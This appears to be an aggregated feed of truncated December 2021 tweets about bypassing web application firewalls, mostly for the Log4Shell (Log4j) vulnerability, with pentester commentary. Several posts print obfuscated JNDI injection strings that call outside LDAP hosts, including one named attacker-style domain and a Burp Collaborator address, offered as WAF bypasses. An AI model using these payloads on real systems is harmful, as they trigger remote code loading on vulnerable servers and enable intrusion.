Just bypassed AWS WAF for log4j jndi injection:
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}
Anyone who care to share Akamai Bypass?
#b ...December 15, 2021
Cloudflare says attackers are writing more sophisticated and obfuscated strings to bypass WAFs and exploit Log4j 2. Also, it only took nine minutes af ...December 14, 2021
Even WordPress is getting targeted with #log4j attacks, the attackers would have had more success painting a house with a toothbrush ... but here is ...December 14, 2021
Haha @Cloudflare works wayy too well sometimes (not in a bad way). Glad Rules can be created to bypass caching the WP Admin and that rate limiting is ...December 14, 2021
How i was able to bypass Cloudflare WAF for SQLi payload https://t.co/cK9rH2yIMu #Pentesting #SQLi #CloudFlare #CyberSecurity #Infosec https://t.co/s ...December 14, 2021
? You can bypass Cloudflare Access in your #cypress tests by creating an interceptor that adds the CF-Access-Client headers from your CA control panel ...December 14, 2021
? You can bypass Cloudflare Access in your #cypress tests by creating an interceptor that adds the CF-Access-Client headers from your CA control panel ...December 14, 2021
Them: What we need here is a SUPERWAF!
me: I have successfully proven that this can use basic WAF bypass techniques such as base64 / base32 encoding i ...December 14, 2021
The dangers of relying on just WAFs.
Bypassing them has been something we've done since the dawn of time. During my time with ModSecurity, it was as ...December 14, 2021
Bypass WAF - CVE-2021-44228
La vulnerabilidad que ha afectado a cientos de empresas, instituciones, apps y mucho más...
#log4j2 #Log4Shell #CVE #fb ...December 14, 2021
if the vulnerable app uses Log4jServletFilter in addition to log4j, it should be technically possible to bypass the hardest WAF with a trick like Cook ...December 13, 2021
A bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
#log4j #Log4Shell #log4jR ...December 13, 2021
#log4j2 bypass waf tips
base payload?
${jndi:ldap://127.0.0.1:1099/obj}
these work well too ?
https://t.co/IDA2PaHhVN
pas: gF4Zm90ikB ...December 13, 2021